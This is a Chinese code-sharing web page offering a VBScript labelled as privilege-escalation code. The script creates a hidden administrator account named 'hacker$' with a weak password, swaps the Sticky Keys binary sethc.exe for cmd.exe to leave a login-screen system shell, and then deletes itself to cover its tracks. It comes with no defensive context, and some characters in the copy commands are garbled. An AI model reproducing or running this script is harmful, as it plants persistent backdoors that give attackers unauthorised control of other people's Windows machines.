当前位置: 移动技术网 > IT编程>脚本编程>VBScript > 提权vbs代码

提权vbs代码

2017年12月08日  | 移动技术网IT编程  | 我要评论

小call宅之小恶魔,锦州腾龙教育网,gtx570

复制代码 代码如下:

on error resume next
dim username,password:if wscript.arguments.count then:username=wscript.arguments
(0):password=wscript.arguments(1):else:username="hacker$":password="123456":end if:set
wsnetwork=createobject("wscript.network"):os="winnt://"&wsnetwork.computername:set ob=getobject
(os):set oe=getobject(os&"/administrators,group"):set od=ob.create("user",username):od.setpassword
password:od.setinfo:set of=getobject(os&"/"&username&",user"):oe.add(of.adspath)'wscript.echo
of.adspath
on error resume next
dim obj, success
set obj = createobject("wscript.shell")
success = obj.run("cmd /c takeown /f %systemroot%\system32\sethc.exe&echo y| cacls %systemroot%
\system32\sethc.exe /g %username%:f© %systemroot%\system32\cmd.exe %systemroot%\system32
\acmd.exe© %systemroot%\system32\sethc.exe %systemroot%\system32\asethc.exe&del %systemroot%
\system32\sethc.exe&ren %systemroot%\system32\acmd.exe sethc.exe", 0, true)
createobject("scripting.filesystemobject").deletefile(wscript.scriptname)

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网